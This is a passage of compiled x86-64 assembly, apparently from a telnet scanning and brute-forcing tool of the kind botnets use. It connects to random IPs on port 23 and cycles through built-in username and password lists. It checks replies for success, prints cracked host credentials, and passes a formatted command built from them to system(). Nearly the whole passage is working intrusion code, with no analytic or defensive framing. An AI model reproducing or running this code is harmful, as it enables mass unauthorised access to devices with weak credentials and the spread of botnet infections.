	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cmp	eax, 7
	ja	.L157
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, .L159[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L159[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L159:
	.long	.L166-.L159
	.long	.L165-.L159
	.long	.L164-.L159
	.long	.L163-.L159
	.long	.L162-.L159
	.long	.L161-.L159
	.long	.L160-.L159
	.long	.L158-.L159
	.text
.L166:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	movzx	eax, BYTE PTR [rax]
	cmp	al, 1
	jne	.L167
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -1256[rbp], rax
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	edx, 24
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	lea	rdx, 16[rax]
	mov	rax, QWORD PTR -1256[rbp]
	mov	QWORD PTR [rdx], rax
	mov	eax, 0
	call	getDatIP
	mov	edx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	add	rax, 4
	mov	DWORD PTR [rax], edx
	jmp	.L168
.L167:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L168
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	lea	ecx, 1[rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rsi
	add	rax, 11
	mov	BYTE PTR [rax], cl
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	lea	ecx, 1[rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rsi
	add	rax, 10
	mov	BYTE PTR [rax], cl
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	cmp	al, 98
	jne	.L169
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L169:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	cmp	al, 99
	jne	.L168
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L168:
	mov	WORD PTR -1232[rbp], 2
	mov	edi, 23
	call	htons@PLT
	mov	WORD PTR -1230[rbp], ax
	lea	rax, -1232[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 4
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -1228[rbp], eax
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	edx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	DWORD PTR [rax], edx
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	cmp	eax, -1
	je	.L208
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	or	ah, 8
	mov	edx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	lea	rcx, -1232[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L171
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 115
	je	.L171
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L171:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 1
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L165:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	get_telstate_host
	mov	rsi, rax
	lea	rdi, .LC83[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -1216[rbp]
	mov	rdi, rdx
#APP
# 711 "the_stack_data/367803.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -1292[rbp], edx
	mov	DWORD PTR -1288[rbp], eax
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -1216[rbp+rax*8]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -1216[rbp+rax*8], rdx
	mov	QWORD PTR -1248[rbp], 0
	mov	eax, DWORD PTR -1316[rbp]
	cdqe
	mov	QWORD PTR -1240[rbp], rax
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	lea	edi, 1[rax]
	lea	rdx, -1248[rbp]
	lea	rax, -1216[rbp]
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rax
	mov	esi, 0
	call	select@PLT
	mov	DWORD PTR -1284[rbp], eax
	cmp	DWORD PTR -1284[rbp], 1
	jne	.L173
	mov	DWORD PTR -1308[rbp], 4
	mov	DWORD PTR -1304[rbp], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	lea	rcx, -1308[rbp]
	lea	rdx, -1304[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 4
	mov	esi, 1
	mov	edi, eax
	call	getsockopt@PLT
	mov	eax, DWORD PTR -1304[rbp]
	test	eax, eax
	je	.L174
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L174:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	and	ah, -9
	mov	edx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 2
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L173:
	cmp	DWORD PTR -1284[rbp], -1
	jne	.L176
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L176:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	add	eax, 5
	mov	ebx, eax
	mov	edi, 0
	call	time@PLT
	cmp	rbx, rax
	jge	.L209
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L209
.L164:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, DWORD PTR -1316[rbp]
	lea	r8, advances[rip]
	mov	ecx, 1024
	mov	edi, eax
	call	read_until_response
	test	eax, eax
	je	.L178
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	contains_fail
	test	eax, eax
	je	.L179
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 0
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L179:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 3
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L178:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	add	eax, 7
	mov	ebx, eax
	mov	edi, 0
	call	time@PLT
	cmp	rbx, rax
	jge	.L210
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L210
.L163:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rax, QWORD PTR [rdx+rax]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdi, rax
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rsi, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	rdx, rdi
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L182
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L182:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 2
	lea	rsi, .LC84[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L183
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L183:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 4
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L162:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, DWORD PTR -1316[rbp]
	lea	r8, advances[rip]
	mov	ecx, 1024
	mov	edi, eax
	call	read_until_response
	test	eax, eax
	je	.L184
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	contains_fail
	test	eax, eax
	je	.L185
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 0
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L185:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 5
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L184:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	add	eax, 3
	mov	ebx, eax
	mov	edi, 0
	call	time@PLT
	cmp	rbx, rax
	jge	.L211
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L211
.L161:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	rax, QWORD PTR [rdx+rax]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdi, rax
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	rsi, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	rdx, rdi
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L188
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L188:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 2
	lea	rsi, .LC84[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L189
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L189:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 6
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L160:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, DWORD PTR -1316[rbp]
	lea	r8, advances2[rip]
	mov	ecx, 1024
	mov	edi, eax
	call	read_until_response
	test	eax, eax
	je	.L190
	mov	edi, 0
	call	time@PLT
	mov	ecx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rsi
	add	rax, 12
	mov	DWORD PTR [rax], ecx
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	contains_fail
	test	eax, eax
	je	.L191
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 0
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L191:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	contains_success
	test	eax, eax
	je	.L193
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	movzx	eax, BYTE PTR [rax]
	cmp	al, 2
	jne	.L194
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 7
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L194:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	r12, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rbx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	get_telstate_host
	mov	rcx, r12
	mov	rdx, rbx
	mov	rsi, rax
	lea	rdi, .LC85[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	r12, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rbx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	get_telstate_host
	mov	rdx, rax
	lea	rax, -1088[rbp]
	mov	r8, r12
	mov	rcx, rbx
	lea	rsi, .LC86[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -1088[rbp]
	mov	rdi, rax
	call	system@PLT
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	esi, 7
	mov	rdi, rax
	call	advance_telstate
	jmp	.L157
.L193:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L190:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	add	eax, 7
	mov	ebx, eax
	mov	edi, 0
	call	time@PLT
	cmp	rbx, rax
	jge	.L212
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L212
.L158:
	mov	edi, 0
	call	time@PLT
	mov	ecx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
